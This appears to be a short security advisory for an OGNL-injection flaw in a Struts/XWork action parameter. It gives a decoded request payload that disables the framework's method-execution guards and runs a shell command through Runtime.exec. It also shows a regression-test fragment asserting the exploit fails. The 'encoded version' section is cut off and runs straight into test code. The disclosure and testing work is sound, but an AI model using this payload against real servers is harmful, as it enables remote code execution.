titleVulnerable Action
public class FooAction {
    private String foo;

    public String execute() {
        return "success";
    }
    public String getFoo() {
        return foo;
    }

    public void setFoo(String foo) {
        this.foo = foo;
    }
}

Here's an actual decoded example, which will create /tmp/PWNAGE directory:

No Format

/action?foo=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)&z[(foo)('meh')]=true

encoded version:

                "@java.lang.Runtime@getRuntime().exec('mkdir /tmp/PWNAGE'))(meh)");

        request.setParameter("top['foo'](0)", "true");

        String res = this.executeAction("/example/foo.action");
        FooAction action = this.getAction();

        File pwn = new File("/tmp/PWNAGE");
        Assert.assertFalse("Remote exploit: The PWN folder has been created", pwn.exists());
